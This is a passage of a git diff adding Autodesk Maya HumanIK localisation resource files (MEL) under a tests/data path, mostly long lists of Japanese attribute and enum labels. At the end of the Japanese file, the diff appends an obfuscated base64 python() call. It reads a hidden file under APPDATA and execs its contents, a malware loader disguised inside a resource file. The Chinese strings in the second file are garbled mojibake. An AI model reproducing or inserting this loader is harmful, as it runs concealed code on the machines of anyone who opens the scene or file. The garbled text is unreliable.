"ParamLeafLeftUpLegRoll2Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll2Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll2Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll2Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll2Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll2Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll2Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll2Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll2Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll2Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll2Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll2Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll2Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll2Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll2Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll2Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll3Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll3Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll3Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll3Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll3Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll3Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll3Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll3Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll3Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll3Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll3Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll3Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll3Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll3Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll3Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll3Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll4Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll4Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll4Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll4Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll4Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll4Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll4Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll4Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll4Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll4Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll4Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll4Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll4Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll4Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll4Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll4Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll5Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll5Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll5Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll5Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll5Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll5Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll5Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll5Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll5Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll5Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll5Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll5Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll5Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll5Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll5Mode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll5Mode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LeftLegFullRollExtractionMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LeftLegFullRollExtractionMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RightLegFullRollExtractionMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "RightLegFullRollExtractionMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "LeftArmFullRollExtractionMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "LeftArmFullRollExtractionMode", 1, "オン" ); +setAttrEnumResource( "HIKProperty2State", "RightArmFullRollExtractionMode", 0, "オフ" ); +setAttrEnumResource( "HIKProperty2State", "RightArmFullRollExtractionMode", 1, "オン" ); +// +// Node: HIKPinning2State +// +setNodeNiceNameResource( "HIKPinning2State", "HIKPinning 2State" ); +setAttrNiceNameResource( "HIKPinning2State", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKPinning2State", "OutputEffectorState", "出力エフェクタの状態" ); +setAttrNiceNameResource( "HIKPinning2State", "OutputEffectorStateNoAux", "出力エフェクタ状態:補助なし" ); +setAttrNiceNameResource( "HIKPinning2State", "InputEffectorState", "入力エフェクタの状態" ); +setAttrNiceNameResource( "HIKPinning2State", "InputEffectorStateNoAux", "入力エフェクタ状態:補助なし" ); +setAttrNiceNameResource( "HIKPinning2State", "HipsEffectorPinT", "ヒップのエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "HipsEffectorPinR", "ヒップのエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftAnkleEffectorPinT", "左足首のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftAnkleEffectorPinR", "左足首のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightAnkleEffectorPinT", "右足首のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightAnkleEffectorPinR", "右足首のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftWristEffectorPinT", "左手首のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftWristEffectorPinR", "左手首のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightWristEffectorPinT", "右手首のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightWristEffectorPinR", "右手首のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftKneeEffectorPinT", "左膝のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftKneeEffectorPinR", "左膝のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightKneeEffectorPinT", "右膝のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightKneeEffectorPinR", "右膝のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftElbowEffectorPinT", "左肘のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftElbowEffectorPinR", "左肘のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightElbowEffectorPinT", "右肘のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightElbowEffectorPinR", "右肘のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "ChestOriginEffectorPinT", "胸の原点エフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "ChestOriginEffectorPinR", "胸の原点エフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "ChestEndEffectorPinT", "胸のエンド エフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "ChestEndEffectorPinR", "胸のエンド エフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootEffectorPinT", "左足のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootEffectorPinR", "左足のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootEffectorPinT", "右足のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootEffectorPinR", "右足のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftShoulderEffectorPinT", "左肩のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftShoulderEffectorPinR", "左肩のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightShoulderEffectorPinT", "右肩のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightShoulderEffectorPinR", "右肩のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "HeadEffectorPinT", "頭のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "HeadEffectorPinR", "頭のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHipEffectorPinT", "左ヒップのエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHipEffectorPinR", "左ヒップのエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHipEffectorPinT", "右ヒップのエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHipEffectorPinR", "右ヒップのエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandEffectorPinT", "左手のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandEffectorPinR", "左手のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandEffectorPinT", "右手のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandEffectorPinR", "右手のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandThumbEffectorPinT", "左手親指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandThumbEffectorPinR", "左手親指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandIndexEffectorPinT", "左手人差指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandIndexEffectorPinR", "左手人差指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandMiddleEffectorPinT", "左手中指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandMiddleEffectorPinR", "左手中指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandRingEffectorPinT", "左手薬指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandRingEffectorPinR", "左手薬指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandPinkyEffectorPinT", "左手小指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandPinkyEffectorPinR", "左手小指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandExtraFingerEffectorPinT", "左手追加指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandExtraFingerEffectorPinR", "左手追加指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandThumbEffectorPinT", "右手親指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandThumbEffectorPinR", "右手親指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandIndexEffectorPinT", "右手人差指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandIndexEffectorPinR", "右手人差指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandMiddleEffectorPinT", "右手中指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandMiddleEffectorPinR", "右手中指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandRingEffectorPinT", "右手薬指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandRingEffectorPinR", "右手薬指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandPinkyEffectorPinT", "右手小指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandPinkyEffectorPinR", "右手小指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandExtraFingerEffectorPinT", "右手追加指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandExtraFingerEffectorPinR", "右手追加指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootThumbEffectorPinT", "左足親指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootThumbEffectorPinR", "左足親指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootIndexEffectorPinT", "左足人差指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootIndexEffectorPinR", "左足人差指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootMiddleEffectorPinT", "左足中指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootMiddleEffectorPinR", "左足中指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootRingEffectorPinT", "左足薬指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootRingEffectorPinR", "左足薬指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootPinkyEffectorPinT", "左足小指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootPinkyEffectorPinR", "左足小指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootExtraFingerEffectorPinT", "左足追加指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootExtraFingerEffectorPinR", "左足追加指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootThumbEffectorPinT", "右足親指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootThumbEffectorPinR", "右足親指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootIndexEffectorPinT", "右足人差指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootIndexEffectorPinR", "右足人差指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootMiddleEffectorPinT", "右足中指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootMiddleEffectorPinR", "右足中指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootRingEffectorPinT", "右足薬指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootRingEffectorPinR", "右足薬指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootPinkyEffectorPinT", "右足小指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootPinkyEffectorPinR", "右足小指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootExtraFingerEffectorPinT", "右足追加指のエフェクタの固定 T" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootExtraFingerEffectorPinR", "右足追加指のエフェクタの固定 R" ); +setAttrNiceNameResource( "HIKPinning2State", "fza", "フリーズの影響を受ける" ); +// +// Node: ComputeGlobal +// +setNodeNiceNameResource( "ComputeGlobal", "グローバルで計算" ); +setAttrNiceNameResource( "ComputeGlobal", "fzn", "フリーズ" ); +setAttrNiceNameResource( "ComputeGlobal", "T", "移動" ); +setAttrNiceNameResource( "ComputeGlobal", "tx", "移動 X" ); +setAttrNiceNameResource( "ComputeGlobal", "ty", "移動 Y" ); +setAttrNiceNameResource( "ComputeGlobal", "tz", "移動 Z" ); +setAttrNiceNameResource( "ComputeGlobal", "R", "回転" ); +setAttrNiceNameResource( "ComputeGlobal", "rx", "回転 X" ); +setAttrNiceNameResource( "ComputeGlobal", "ry", "回転 Y" ); +setAttrNiceNameResource( "ComputeGlobal", "rz", "回転 Z" ); +setAttrNiceNameResource( "ComputeGlobal", "S", "スケール" ); +setAttrNiceNameResource( "ComputeGlobal", "sx", "スケール X" ); +setAttrNiceNameResource( "ComputeGlobal", "sy", "スケール Y" ); +setAttrNiceNameResource( "ComputeGlobal", "sz", "スケール Z" ); +setAttrNiceNameResource( "ComputeGlobal", "PreR", "プリR" ); +setAttrNiceNameResource( "ComputeGlobal", "PreRx", "プリRx" ); +setAttrNiceNameResource( "ComputeGlobal", "PreRy", "プリRy" ); +setAttrNiceNameResource( "ComputeGlobal", "PreRz", "プリRz" ); +setAttrNiceNameResource( "ComputeGlobal", "PostR", "ポストR" ); +setAttrNiceNameResource( "ComputeGlobal", "PostRx", "ポストRx" ); +setAttrNiceNameResource( "ComputeGlobal", "PostRy", "ポストRy" ); +setAttrNiceNameResource( "ComputeGlobal", "PostRz", "ポストRz" ); +setAttrNiceNameResource( "ComputeGlobal", "PGX", "PGX" ); +setAttrNiceNameResource( "ComputeGlobal", "GX", "GX" ); +setAttrNiceNameResource( "ComputeGlobal", "ro", "回転順序" ); +setAttrNiceNameResource( "ComputeGlobal", "fza", "フリーズの影響を受ける" ); +setAttrEnumResource( "ComputeGlobal", "ro", 0, "xyz" ); +setAttrEnumResource( "ComputeGlobal", "ro", 1, "yzx" ); +setAttrEnumResource( "ComputeGlobal", "ro", 2, "zxy" ); +setAttrEnumResource( "ComputeGlobal", "ro", 3, "xzy" ); +setAttrEnumResource( "ComputeGlobal", "ro", 4, "yxz" ); +setAttrEnumResource( "ComputeGlobal", "ro", 5, "zyx" ); +// +// Node: ComputeLocal +// +setNodeNiceNameResource( "ComputeLocal", "ローカルで計算" ); +setAttrNiceNameResource( "ComputeLocal", "fzn", "フリーズ" ); +setAttrNiceNameResource( "ComputeLocal", "T", "移動" ); +setAttrNiceNameResource( "ComputeLocal", "tx", "移動 X" ); +setAttrNiceNameResource( "ComputeLocal", "ty", "移動 Y" ); +setAttrNiceNameResource( "ComputeLocal", "tz", "移動 Z" ); +setAttrNiceNameResource( "ComputeLocal", "R", "回転" ); +setAttrNiceNameResource( "ComputeLocal", "rx", "回転 X" ); +setAttrNiceNameResource( "ComputeLocal", "ry", "回転 Y" ); +setAttrNiceNameResource( "ComputeLocal", "rz", "回転 Z" ); +setAttrNiceNameResource( "ComputeLocal", "S", "スケール" ); +setAttrNiceNameResource( "ComputeLocal", "sx", "スケール X" ); +setAttrNiceNameResource( "ComputeLocal", "sy", "スケール Y" ); +setAttrNiceNameResource( "ComputeLocal", "sz", "スケール Z" ); +setAttrNiceNameResource( "ComputeLocal", "PreR", "プリR" ); +setAttrNiceNameResource( "ComputeLocal", "PreRx", "プリRx" ); +setAttrNiceNameResource( "ComputeLocal", "PreRy", "プリRy" ); +setAttrNiceNameResource( "ComputeLocal", "PreRz", "プリRz" ); +setAttrNiceNameResource( "ComputeLocal", "PostR", "ポストR" ); +setAttrNiceNameResource( "ComputeLocal", "PostRx", "ポストRx" ); +setAttrNiceNameResource( "ComputeLocal", "PostRy", "ポストRy" ); +setAttrNiceNameResource( "ComputeLocal", "PostRz", "ポストRz" ); +setAttrNiceNameResource( "ComputeLocal", "PGX", "PGX" ); +setAttrNiceNameResource( "ComputeLocal", "GX", "GX" ); +setAttrNiceNameResource( "ComputeLocal", "ro", "回転順序" ); +setAttrNiceNameResource( "ComputeLocal", "fza", "フリーズの影響を受ける" ); +setAttrEnumResource( "ComputeLocal", "ro", 0, "xyz" ); +setAttrEnumResource( "ComputeLocal", "ro", 1, "yzx" ); +setAttrEnumResource( "ComputeLocal", "ro", 2, "zxy" ); +setAttrEnumResource( "ComputeLocal", "ro", 3, "xzy" ); +setAttrEnumResource( "ComputeLocal", "ro", 4, "yxz" ); +setAttrEnumResource( "ComputeLocal", "ro", 5, "zyx" ); +// +// Node: HIKCharacterStateClient +// +setNodeNiceNameResource( "HIKCharacterStateClient", "HIKCharacter State Client" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "InputCharacterDefinition", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "hipsScale", "ヒップ スケール" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "hipsScaleX", "ヒップ スケール X" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "hipsScaleY", "ヒップ スケール Y" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "hipsScaleZ", "ヒップ スケール Z" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "referenceGX", "リファレンスの GX" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "OutputCharacterState", "出力キャラクタの状態" ); + +python("import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)"); diff --git a/tests/data/zh_CN/plug-ins/mayaHIK.pres.mel b/tests/data/zh_CN/plug-ins/mayaHIK.pres.mel new file mode 100644 index 0000000..df82a66 --- /dev/null +++ b/tests/data/zh_CN/plug-ins/mayaHIK.pres.mel @@ -0,0 +1,21139 @@ +// =========================================================================== +// Copyright 2021 Autodesk, Inc. All rights reserved. +// +// Use of this software is subject to the terms of the Autodesk license +// agreement provided at the time of installation or download, or which +// otherwise accompanies this software in either electronic or hard copy form. +// =========================================================================== +// Resources for Plug-in: mayaHIK +// +// ---------------------------- +// Registered string resources: +// ---------------------------- +setPluginResource( "mayaHIK", "kCharCtrlsClearExtraEffectors", "ヌ蟲クスシモミァモヲニ"); +setPluginResource( "mayaHIK", "kCharCtrlsCreateAuxEffector", "エエスィクィヨミァモヲニ"); +setPluginResource( "mayaHIK", "kCharCtrlsCreatePivotEffector", "エエスィハ獰瞎ァモヲニ"); +setPluginResource( "mayaHIK", "kComputeRefCharacterNotFound", "ヨクカィオトスヌノォユメイサオスサハヌボミァオト HIKCharacterNode。」"); +setPluginResource( "mayaHIK", "kComputeRefCharacterNotSpecified", "ネアノルスヌノォ。」ヌハケモテ -ch アヨセヨクカィスヌノォ。」"); +setPluginResource( "mayaHIK", "kComputeRefCrNotFound", "ヨクカィオト CtrlRig メモテユメイサオスサハヌボミァオトア莉サ。」"); +setPluginResource( "mayaHIK", "kComputeRefCrNotSpecified", "ネアノル ctrl rig メモテ。」ヌハケモテ -cr アヨセヨクカィメモテ。」"); +setPluginResource( "mayaHIK", "kComputeRefNoAction", "ホエヨクカィネホコホイルラ。」ヌハケモテ -ssk。「-scr サ -rcr」ャメヤノ靹テサモレ fk オト sk メモテ。「サモレ sk オト fk メモテ」ャサスォ fk メモテヨリヨテホェニ菴ヌノォラヒハニ。」"); +setPluginResource( "mayaHIK", "kComputeRefSkNotFound", "ケヌシワメモテユメイサオスサイサハヌモミミァオトア莉サ。」"); +setPluginResource( "mayaHIK", "kComputeRefSkNotSpecified", "ヤ、ニレオトケヌシワメモテハケモテ -sk アヨセ。」"); +setPluginResource( "mayaHIK", "kConfigFileEmpty", "ナ葷テホトシ ^1s ホェソユ。」"); +setPluginResource( "mayaHIK", "kConfigFileNotFound", "ユメイサオスナ葷テホトシ ^1s。」"); +setPluginResource( "mayaHIK", "kConfigFileNotSpecified", "ホエヨクカィナ葷テホトシ。」"); +setPluginResource( "mayaHIK", "kImageResourceNotFound", "ユメイサオスヘシマ ^1s。」"); +setPluginResource( "mayaHIK", "kParentLayoutNotFound", "ユメイサオスククイシセヨ。」"); +setPluginResource( "mayaHIK", "kParentLayoutNotSpecified", "ホエヨクカィククイシセヨ。」"); +setPluginResource( "mayaHIK", "kUnsupportedImageResource", "イサヨァウヨヘシマ ^1s。」"); +// +// -------------------------- +// Registered node resources: +// -------------------------- +// +// Node: HIKSolverNode +// +setNodeNiceNameResource( "HIKSolverNode", "HIKSolver スレオ" ); +setAttrNiceNameResource( "HIKSolverNode", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKSolverNode", "InputActive", "ハ菠ヨカッ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputStance", "ハ菠ユセラヒ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputRelaxStance", "ハ菠ヒノウレユセラヒ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputStanceMask", "ハ菠ユセラヒユレユヨ" ); +setAttrNiceNameResource( "HIKSolverNode", "LowLOD", "オヘ LOD" ); +setAttrNiceNameResource( "HIKSolverNode", "SNS", "シキムケコヘタュノ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputCharacterDefinition", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputCharacterState", "ハ菠スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputEffectorState", "ハ菠ミァモヲニラエフャ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputEffectorStateNoAux", "ハ菠ミァモヲニラエフャテサモミクィヨ" ); +setAttrNiceNameResource( "HIKSolverNode", "InputPropertySetState", "ハ菠フリミヤシッラエフャ" ); +setAttrNiceNameResource( "HIKSolverNode", "SolverMode", "ス簍翦ト」ハス" ); +setAttrNiceNameResource( "HIKSolverNode", "OutputCharacterState", "ハ莎スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKSolverNode", "decs", "ヒォ Eval スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKSolverNode", "fza", "メムカウス睫ワモーマカヤマ" ); +setAttrEnumResource( "HIKSolverNode", "SolverMode", 0, "ネォノ" ); +setAttrEnumResource( "HIKSolverNode", "SolverMode", 1, "ノフ蟯ソホサ" ); +setAttrEnumResource( "HIKSolverNode", "SolverMode", 2, "ム。ヤ" ); +// +// Node: HIKRetargeterNode +// +setNodeNiceNameResource( "HIKRetargeterNode", "HIKRetargeter スレオ" ); +setAttrNiceNameResource( "HIKRetargeterNode", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKRetargeterNode", "SNS", "シキムケコヘタュノ" ); +setAttrNiceNameResource( "HIKRetargeterNode", "referenceGX", "メモテ GX" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputCharacterDefinitionSrc", "ハ菠スヌノォカィメ袂エ" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputCharacterDefinitionDst", "ハ菠スヌノォカィメ蠧ソア" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputCharacterState", "ハ菠スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputSrcPropertySetState", "ハ菠ヤエフリミヤシッラエフャ" ); +setAttrNiceNameResource( "HIKRetargeterNode", "InputDstPropertySetState", 